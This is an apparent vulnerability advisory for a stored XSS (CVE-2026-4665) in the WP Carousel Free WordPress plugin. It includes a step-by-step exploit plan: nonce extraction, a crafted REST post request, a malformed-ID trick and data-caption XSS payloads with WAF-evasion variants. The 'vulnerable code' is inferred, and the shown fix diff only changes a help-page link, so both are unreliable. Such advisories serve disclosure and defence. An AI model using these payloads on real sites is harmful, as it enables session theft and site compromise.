CVE-2026-4665

WP Carousel Free <= 2.7.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-caption' Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.7.11
Patched in
1d
Time to patch

Description

The WP Carousel Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted fancybox `data-caption` attributes in all versions up to, and including, 2.7.10. This is due to the `fancybox-config.js` script reading the carousel container's `id` attribute directly from the DOM to construct a jQuery selector without sanitization. When a Contributor crafts an HTML block with a malformed carousel container ID (containing characters invalid for jQuery selectors), the custom fancybox configuration throws a JavaScript error and fails to initialize. This causes the bundled fancybox library (v3.5.7) to fall back to its default caption handling, which renders the `data-caption` attribute content as raw HTML. Since WordPress allows `data-*` attributes through `wp_kses_post()`, this makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks an image in the crafted carousel lightbox.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.10
PublishedMay 4, 2026
Last updatedMay 5, 2026
Affected pluginwp-carousel-free

What Changed in the Fix

Changes introduced in v2.7.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-4665**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WP Carousel Free** plugin. The vulnerability arises from an unsafe jQuery selector construction in the plugin's custom FancyBox configuration script, which leads to a JavaScript error and a fallb…

Show full research plan

This research plan targets CVE-2026-4665, a Stored Cross-Site Scripting (XSS) vulnerability in the WP Carousel Free plugin. The vulnerability arises from an unsafe jQuery selector construction in the plugin's custom FancyBox configuration script, which leads to a JavaScript error and a fallback to insecure default caption handling.


1. Vulnerability Summary

The wp-carousel-free plugin (versions <= 2.7.10) enqueues a custom script (likely fancybox-config.js or similar, localized/loaded by Public_WP_Carousel_Free class) to initialize the FancyBox lightbox for carousels. This script reads the id attribute of a carousel container from the DOM and uses it directly in a jQuery selector (e.g., $('#' + containerId)).

If an attacker provides an ID containing characters that are invalid for jQuery selectors (like parentheses, spaces, or certain special characters), the script throws a syntax error and stops execution. This failure prevents the plugin from applying its intended sanitization or configuration to FancyBox. Consequently, the bundled FancyBox v3.5.7 library falls back to its default behavior, which is to render the content of the data-caption attribute as raw HTML. Since Contributor+ users can inject data-* attributes via the WordPress block editor, they can store malicious scripts.

2. Attack Vector Analysis

  • Endpoint: Standard WordPress Post/Page creation/update (wp-json/wp/v2/posts or wp-admin/post.php).
  • Vulnerable Attribute: data-caption.
  • Trigger Attribute: id (must be malformed to crash the JS config).
  • Authentication: Authenticated, Contributor level or higher.
  • Preconditions: The plugin must be active, and its FancyBox scripts must be enqueued on the page (usually triggered by the presence of a carousel shortcode or block).

3. Code Flow

  1. Entry: A Contributor user creates a post containing a "Custom HTML" block or a crafted Gutenberg block.
  2. Storage: WordPress processes the post. wp_kses_post() allows the data-caption attribute and the id attribute.
  3. Frontend Loading: A user visits the post. The plugin enqueues public/js/fancybox.js and the configuration script.
  4. JS Execution: The configuration script iterates through elements with a class like .wpcp-carousel-section (inferred).
  5. The Sink:
    • The script retrieves var container_id = $(this).attr('id');.
    • It attempts $('#' + container_id).fancybox({...}).
    • If container_id is () { : }, jQuery throws Uncaught Error: Syntax error, unrecognized expression: #() { : }.
  6. Fallback: The initialization fails. FancyBox remains unconfigured for that element.
  7. Exploitation: When the user clicks the image/link, FancyBox v3.5.7 initializes itself using default settings. It reads data-caption and inserts it into .fancybox-caption__body using .html(), executing the payload.

4. Nonce Acquisition Strategy

To create or update a post via the REST API or AJAX, a valid WordPress nonce is required.

  1. Action: Identify the nonce used for the REST API (wp_rest).
  2. Method:
    • Log in as a Contributor.
    • Use browser_navigate to go to the WordPress Dashboard (/wp-admin/).
    • Use browser_eval to extract the REST nonce from the global wpApiSettings object.
  3. JavaScript: window.wpApiSettings?.nonce
  4. Alternative: If using the standard post.php flow, the _wpnonce is found in the hidden input fields of the post editor form.

5. Exploitation Strategy

Step 1: Authenticate

Authenticate as a Contributor user.

Step 2: Obtain REST Nonce

Navigate to /wp-admin/ and execute:

// via browser_eval
return window.wpApiSettings.nonce;

Step 3: Create Malicious Post

Send a POST request to /wp-json/wp/v2/posts with the payload. The payload must include the plugin's shortcode to ensure scripts are enqueued, followed by the crafted HTML.

  • URL: http://vulnerable-wp.local/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [REST_NONCE]
  • Body:
{
  "title": "XSS Test Page",
  "status": "publish",
  "content": "[wp_carousel id=\"1\"]\n<div class=\"wpcp-carousel-section\" id=\"() { selector_error }\">\n  <a data-fancybox=\"wpcp-post-1\" data-caption=\"&lt;img src=x onerror=alert(document.domain)&gt;\">\n    <img src=\"https://raw.githubusercontent.com/wp-plugins/wp-carousel-free/master/assets/images/icon-256x256.png\">\n    Click for XSS\n  </a>\n</div>"
}

Note: The class wpcp-carousel-section is the standard container class used by ShapedPlugin carousels to trigger FancyBox.

Step 4: Trigger XSS

  1. Navigate to the newly created post URL as any user.
  2. Observe the browser console for a jQuery syntax error.
  3. Click the image/link to open the Lightbox.
  4. The alert(document.domain) should execute when the caption renders.

6. Test Data Setup

  1. User: A user with the contributor role.
  2. Plugin Configuration: Install and activate wp-carousel-free v2.7.10. No specific carousel needs to be created in the admin UI, as we are manually crafting the HTML structure that the JS script targets.
  3. Page: A post or page created by the Contributor.

7. Expected Results

  • JS Crash: The browser console shows: Uncaught Error: Syntax error, unrecognized expression: #() { selector_error }.
  • XSS Execution: A popup alert showing the domain name appears when the FancyBox lightbox is opened.
  • Payload Persistence: Checking the post content via wp post get [ID] confirms the data-caption attribute remains intact and unsanitized.

8. Verification Steps

  1. CLI Check: Verify the post content.
    wp post get [POST_ID] --field=post_content
    
  2. HTML Inspection: Use http_request to fetch the post frontend and verify the presence of the malformed ID and the data-caption payload.
    # Look for the payload in the response
    grep -P "data-caption=\"&lt;img src=x onerror=alert\(document\.domain\)&gt;\""
    

9. Alternative Approaches

  • Alternative Payload: If onerror is filtered by a WAF, use data-caption="&lt;a href='javascript:alert(1)'&gt;Click Me&lt;/a&gt;".
  • Selector Variations: If () { selector_error } does not trigger the error in the specific jQuery version installed, try:
    • id="123: [invalid]"
    • id="#.bad"
    • id=" " (A single space)
  • Shortcode Injection: If the Contributor cannot use "Custom HTML" blocks, try injecting the attributes into the plugin's own shortcode if it supports them (e.g., [wp_carousel data_caption="..."]), though the vulnerability description suggests manual HTML crafting is the primary path.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Carousel Free plugin (versions <= 2.7.10) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe jQuery selector construction in its FancyBox initialization script. An authenticated attacker with Contributor-level access can craft an element with a malformed ID that crashes the custom configuration script, causing the FancyBox library to fall back to default behavior and render malicious HTML within the 'data-caption' attribute.

Vulnerable Code

// The plugin's initialization script (typically fancybox-config.js) reads IDs directly from the DOM
// and uses them in jQuery selectors without sanitization or escaping.

// Inferred logic based on research plan and vulnerability description:
$('.wpcp-carousel-section').each(function() {
    var container_id = $(this).attr('id');
    $('#' + container_id).fancybox({
        // Custom configuration meant to handle captions safely
    });
});

// Path: public/js/fancybox.js (Bundled Library v3.5.7)
// Line 175 - The default template includes a caption body that renders content as HTML
baseTpl: '<div class="fancybox-container" role="dialog" tabindex="-1">' +
  '<div class="fancybox-bg"></div>' +
  '<div class="fancybox-inner">' +
  // ... (truncated)
  '<div class="fancybox-caption"><div class="fancybox-caption__body"></div></div>' +
  "</div>" +
  "</div>",

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-carousel-free/2.7.10/admin/help-page/help.php /home/deploy/wp-safety.org/data/plugin-versions/wp-carousel-free/2.7.11/admin/help-page/help.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-carousel-free/2.7.10/admin/help-page/help.php	2026-01-06 12:38:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-carousel-free/2.7.11/admin/help-page/help.php	2026-04-15 09:28:40.000000000 +0000
@@ -459,8 +459,8 @@
 								<div class="spwpcp-info-box-title">
 									<h4><i class="spwpcp-icon-team-icon"></i> Join The Community</h4>
 								</div>
-								<span class='spwpcp-normal-paragraph'>Join the official ShapedPlugin Facebook group to share your experiences, thoughts, and ideas.</span>
-								<a target="_blank" class='spwpcp-small-btn' href="https://www.facebook.com/groups/ShapedPlugin/">Join Now</a>
+								<span class='spwpcp-normal-paragraph'>Join the official ShapedPlugin community to share your experiences, thoughts, and ideas.</span>
+								<a target="_blank" class='spwpcp-small-btn' href="https://community.shapedplugin.com/portal/">Join Now</a>
 							</div>
 						</div>
 					</div>

Exploit Outline

1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Create a new Post or Page and insert a 'Custom HTML' block. 3. Add a div with the class 'wpcp-carousel-section' and a malformed ID attribute that is invalid for jQuery selectors (e.g., id="() { error }"). 4. Inside this div, add an anchor or image tag with the 'data-fancybox' attribute and a 'data-caption' attribute containing an XSS payload (e.g., <img src=x onerror=alert(document.domain)>). 5. Publish the post and view it as a site visitor. 6. Click on the image to trigger the FancyBox lightbox. Because the malformed ID causes the plugin's configuration script to throw a JavaScript error and fail, FancyBox v3.5.7 defaults to its insecure caption rendering, executing the script in 'data-caption'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.